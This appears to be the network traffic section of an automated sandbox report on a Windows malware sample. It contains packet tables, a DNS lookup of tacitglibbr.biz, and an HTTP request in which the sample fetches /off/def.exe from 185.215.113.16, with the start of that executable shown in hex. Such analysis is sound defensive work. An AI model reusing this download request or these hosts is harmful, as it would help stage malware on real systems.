Dec 17, 2024 10:23:33.111653090 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.112171888 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.112185955 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.112250090 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.114870071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.114882946 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.114931107 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.116336107 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.116497040 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.116558075 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.117515087 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.117660999 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.117712021 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.119113922 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.119134903 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.119182110 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.120557070 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.120742083 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.120789051 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.121539116 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.121555090 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.121607065 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.122184992 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.122318029 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.122376919 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.123691082 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.123836994 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.123895884 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.125226974 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.125336885 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.125396013 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.126847982 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.127110958 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.128247976 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.128303051 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.128340960 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.129755020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.129811049 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.129833937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.129874945 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.131244898 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.131366968 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.131424904 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.132790089 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.132879019 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.132920027 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.134284973 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.134392977 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.134447098 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.135684013 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.151434898 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.151448965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.151505947 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.151681900 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.151726961 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.151851892 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.153147936 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.153203011 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.153299093 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.154808998 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.154820919 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.154845953 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.156225920 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.156239986 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.156280041 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.157779932 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.157819986 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.157938957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.159230947 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.159277916 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.159394979 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.160667896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.160736084 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.160845995 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.162192106 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.162233114 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.162358046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.163636923 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.163686037 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.163813114 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.165250063 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.165303946 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.222806931 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.222920895 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.223007917 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.223522902 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.223639965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.223686934 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.225068092 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.225147963 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.225203037 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.226545095 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.226691008 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.226733923 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.228092909 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.228218079 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.228267908 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.229558945 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.229675055 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.229718924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.231076956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.231183052 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.231226921 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.232564926 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.232628107 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.232672930 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.234096050 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.234184980 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.234230042 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.235575914 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.235727072 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.235775948 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.279190063 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.279270887 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.279342890 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.279915094 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.279927969 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.279973984 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.281388998 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.281440020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.281505108 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.282887936 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.282959938 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.283035994 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.284373045 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.284461975 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.284511089 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.285871029 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.285883904 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.285932064 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.292490959 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.292522907 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.292536020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.292591095 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.292594910 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.292598009 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.292606115 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.292623043 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.292670012 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.292692900 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.292740107 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.293338060 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.293519020 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.293575048 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.294996023 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.295010090 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.295056105 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.306190968 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306297064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306309938 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306323051 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306329966 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306337118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306344032 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306355000 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.306386948 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.306550026 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306562901 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306574106 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306586027 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306597948 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306603909 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.306611061 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306618929 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.306624889 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306649923 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.306698084 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.306917906 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.306974888 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.307017088 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.308454990 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.308645964 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.308690071 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.309921026 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.310023069 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.310064077 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.311393976 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.311542988 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.311595917 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.313060999 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.313075066 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.313117981 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.314462900 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.314647913 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.314694881 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.316030025 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.316042900 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.316088915 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.317461014 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.317573071 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.317619085 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.318974972 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.319044113 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.319088936 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.320487976 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.320557117 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.320636034 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.322133064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.322254896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.322305918 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.323488951 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.323762894 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.323808908 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.324959993 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.325082064 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.325131893 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.326549053 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.326571941 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.326623917 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.327945948 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.342557907 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.342631102 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.342653990 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.343244076 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.343297005 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.343327045 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.345199108 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.345252037 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.345259905 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.346265078 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.346332073 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.346421957 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.347770929 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.347825050 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.347826004 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.349303961 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.349318027 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.349368095 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.350738049 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.350786924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.350827932 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.352312088 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.352327108 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.352366924 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.353697062 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.353749990 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.353781939 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.355252981 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.355304956 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.355304956 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.399399996 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.414937973 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.414952993 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.415033102 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.415321112 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.415618896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.415674925 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.416791916 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.416923046 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.416970968 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.418309927 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.418437958 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.418483019 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.420649052 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.420663118 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.420715094 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.421350002 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.421689987 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.421736956 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.422851086 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.422955036 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.422997952 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.424356937 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.424443007 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.424555063 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.425889969 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.425942898 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.425987005 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.427403927 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.427450895 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.427500963 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.430985928 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.471462965 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.471487045 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.471573114 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.472157001 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.472212076 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.472346067 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.473553896 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.473587036 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.473618984 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:33.475158930 CET	80	49752	185.215.113.16	192.168.2.7
Dec 17, 2024 10:23:33.475208998 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:34.802205086 CET	49752	80	192.168.2.7	185.215.113.16
Dec 17, 2024 10:23:38.800796032 CET	49788	80	192.168.2.7	185.215.113.206
Dec 17, 2024 10:23:38.920597076 CET	80	49788	185.215.113.206	192.168.2.7
Dec 17, 2024 10:23:38.920722961 CET	49788	80	192.168.2.7	185.215.113.206
Dec 17, 2024 10:23:38.921503067 CET	49788	80	192.168.2.7	185.215.113.206
Dec 17, 2024 10:23:39.041184902 CET	80	49788	185.215.113.206	192.168.2.7
Dec 17, 2024 10:23:40.266104937 CET	80	49788	185.215.113.206	192.168.2.7
Dec 17, 2024 10:23:40.266236067 CET	49788	80	192.168.2.7	185.215.113.206
Dec 17, 2024 10:23:40.268795013 CET	49788	80	192.168.2.7	185.215.113.206
Dec 17, 2024 10:23:40.388525963 CET	80	49788	185.215.113.206	192.168.2.7
Dec 17, 2024 10:23:40.723593950 CET	80	49788	185.215.113.206	192.168.2.7
Dec 17, 2024 10:23:40.727085114 CET	49788	80	192.168.2.7	185.215.113.206
Dec 17, 2024 10:23:44.227221012 CET	49788	80	192.168.2.7	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 10:22:55.752794027 CET	50955	53	192.168.2.7	1.1.1.1
Dec 17, 2024 10:22:56.026253939 CET	53	50955	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 10:22:55.752794027 CET	192.168.2.7	1.1.1.1	0xe5f8	Standard query (0)	tacitglibbr.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 10:22:56.026253939 CET	1.1.1.1	192.168.2.7	0xe5f8	No error (0)	tacitglibbr.biz		188.114.96.6	A (IP address)	IN (0x0001)	false
Dec 17, 2024 10:22:56.026253939 CET	1.1.1.1	192.168.2.7	0xe5f8	No error (0)	tacitglibbr.biz		188.114.97.6	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tacitglibbr.biz

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49752	185.215.113.16	80	7024	C:\Users\user\Desktop\jYd7FUgGZc.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 10:23:22.945919991 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 17, 2024 10:23:24.287863016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 09:23:23 GMT Content-Type: application/octet-stream Content-Length: 1782272 Last-Modified: Tue, 17 Dec 2024 08:54:10 GMT Connection: keep-alive ETag: "67613c32-1b3200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 46 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 47 00 00 04 00 00 53 11 1c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$F `@ GS`Ui`D @ @.rsrcD`2@.idata 6@ @+8@fphnutar+:@inmacesb F@.taggant@F"@
